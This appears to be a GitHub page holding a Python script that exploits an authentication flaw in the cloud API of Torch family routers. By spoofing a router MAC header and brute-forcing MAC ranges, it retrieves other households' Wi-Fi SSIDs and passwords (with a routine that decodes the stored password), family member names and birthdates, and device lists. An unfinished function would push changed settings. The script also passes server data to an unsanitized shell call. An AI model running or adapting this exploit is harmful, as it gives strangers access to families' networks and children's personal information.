-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathrouter_enum.py
189 lines (171 loc) · 6.99 KB
/
router_enum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import urllib2
import itertools
import pprint
import json
import os
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('mac_address',
help="MAC address of the Torch router. Known good ranges: 88:dc:96:57:67:xx, 88:DC:96:0E:13:xx, and 88:dc:96:52:00:xx, 'bruteforce' also works")
parser.add_argument('--firmware', help='Find the most recent firmware and download link', action='store_true', default=False)
parser.add_argument('--profiles', help='Identify connected devices and groups', action='store_true', default=False)
parser.add_argument('--config', help='Get router config including wifi name and password', action='store_true', default=False)
parser.add_argument('--blacklist', help='This seems to always be a 404 device not found error', action='store_true', default=False)
parser.add_argument('--blocking', help='? not yet identified what it returns', action='store_true')
parser.add_argument('--settings', help='? not yet identified what it returns', action='store_true')
parser.add_argument('--loggedin', help='? not yet identified what it returns', action='store_true')
parser.add_argument('--all', help='Get all data', action='store_true', default=True)
args = parser.parse_args()
#if any but all, set all to off
if args.firmware or args.profiles or args.config or args.blacklist or args.blocking or args.loggedin:
args.all = False
# if all, set them on
if args.all:
args.blacklist = False #since this is always 404 from what i can tell, keep it off
args.blocking = True
args.firmware = True
args.profiles = True
args.config = True
#look like the router
headers = { 'User-Agent' : 'curl/7.42.1',
"x-router-mac": "",
"Content-Type": "application/json"}
class Unauthorized(Exception):
pass
def update_settings(mac, headers):
#WIP
return
headers['x-router-mac'] = mac
req = urllib2.Request('http://home.mytorch.com/', headers=headers)
response = urllib2.urlopen(req)
cookies=response.info()['Set-Cookie']
print(cookies)
data = {"safeSearch":True,
"monitoredSSid":"r-guest",
"firmwareVersion":"1.5.7",
"macAddress":"88:dc:96:57:67:44",
"lastFirmwareUpdateAt":"2017-02-26T14:46:32.599Z",
"monitoredPassword":"youarebeingmonitored",
"monitoredPasswordConfirm":"youarebeingmonitored",
"timezone":"US/Eastern"}
req = urllib2.Request('http://home.mytorch.com/torch/dashboard/router/settings', headers=headers, data=json.dumps(data))
req.add_header("Cookie", cookies)
req.get_method = lambda: 'PUT' #needs a put request
response = urllib2.urlopen(req)
the_page = response.read()
the_page = json.loads(the_page)
print(response.code)
#return the_page
def get_loggedin_users(mac, headers):
#WIP
return
headers['x-router-mac'] = mac
req = urllib2.Request('http://home.mytorch.com/users/loggedin', headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
print 'loggedin: ',the_page
the_page = json.loads(the_page)
return the_page
def get_firmware(mac, headers):
headers['x-router-mac'] = mac
req = urllib2.Request('http://home.mytorch.com/api/v1/router/firmware', headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
the_page = json.loads(the_page)
return the_page
def get_blacklist(mac, headers):
headers['x-router-mac'] = mac
req = urllib2.Request('http://api.mytorch.com/api/v1/devices/blacklist', headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
the_page = json.loads(the_page)
return the_page
def get_blocking(mac, headers):
headers['x-router-mac'] = mac
req = urllib2.Request('http://api.mytorch.com/api/v1/devices/blocking', headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
the_page = json.loads(the_page)
return the_page
def get_profile(mac, headers):
headers['x-router-mac'] = mac
req = urllib2.Request('http://api.mytorch.com/api/v1/profiles', headers=headers)
try:
response = urllib2.urlopen(req)
except urllib2.HTTPError, e:
if hasattr(e, 'code'):
if e.code == 401:
raise Unauthorized(" Unauthorized, MAC is invalid")
the_page = response.read()
if "unauthorized" in the_page:
raise Unauthorized(" Unauthorized, MAC is invalid")
the_page = json.loads(the_page)
return the_page
def get_router_config(mac, headers):
headers['x-router-mac'] = mac
# could also hit up home.mytorch.com/torch/front/router, looks to have pretty much the same info...
req = urllib2.Request('http://api.mytorch.com/api/v1/router', headers=headers)
response = urllib2.urlopen(req)
the_page = response.read()
the_page = json.loads(the_page)
return the_page
def deobfuscate_wifi_password(password):
password = list(password)
password.reverse()
password = os.popen("echo %s | xxd -r -p" %(''.join(password))).read()
return(password)
macs = []
if args.mac_address == "bruteforce":
charset="ABCDEFG0123456789"
for candidate in itertools.product(charset, repeat=2):
candidate = ''.join(candidate)
if len(candidate) == 1:
continue
macs.append('88:dc:96:57:67:%s'%(candidate))
macs.append('88:dc:96:52:50:%s'%(candidate))
macs.append('88:DC:96:0E:13:%s'%(candidate))
else:
macs = [args.mac_address]
for mac in macs:
w = open(mac,'w')
print("MAC: %s" %(mac))
try:
profiles = get_profile(mac, headers)
except Unauthorized:
continue #skip to next
if args.settings:
update_settings(mac, headers)
if args.loggedin:
login = get_loggedin_users(mac, headers)
print(login)
if args.config:
config = get_router_config(mac, headers)
technical = config.get('data').get('technical')
print("Hardware Version: %s" %(technical.get('hardwareVersion')))
print("Firmware Version: %s" %(technical.get('firmwareVersion')))
if args.firmware:
firmware = get_firmware(mac, headers)
print("Most Recent Firmware: %s from %s" %(firmware['data']['version'], firmware['data']['url']))
if args.config:
print("Wifi SSID: %s"%(technical.get('monitoredSSid')))
print("Wifi Password: %s"%(deobfuscate_wifi_password(technical.get('monitoredPassword'))))
print("Timezone: %s"%(technical.get('timezone')))
print("Serial: %s"%(technical.get('serialNumber')))
if args.profiles:
print("Profiles (%s)" %(len(profiles['data'])))
for profile in profiles['data']:
print(" Name: %s" %(profile['name']))
print(" Adult: %s" %(profile['isAdult']))
print(" Birthday: %s/%s" %(profile['birthdate']['month'],profile['birthdate']['year']))
print(" Devices: (%s)" %(len(profile['devices'])))
for device in profile['devices']:
print(" Name: %s (%s) - MAC: %s" %(device['name'],device['systemName'], device['technical']['macAddress']))
if args.blacklist:
black = get_blacklist(mac,headers)
import pprint
pprint.pprint(black)
if args.blocking:
black = get_blocking(mac,headers)
import pprint
pprint.pprint(black)
print("-----------------------------------------------------------------------------------------------")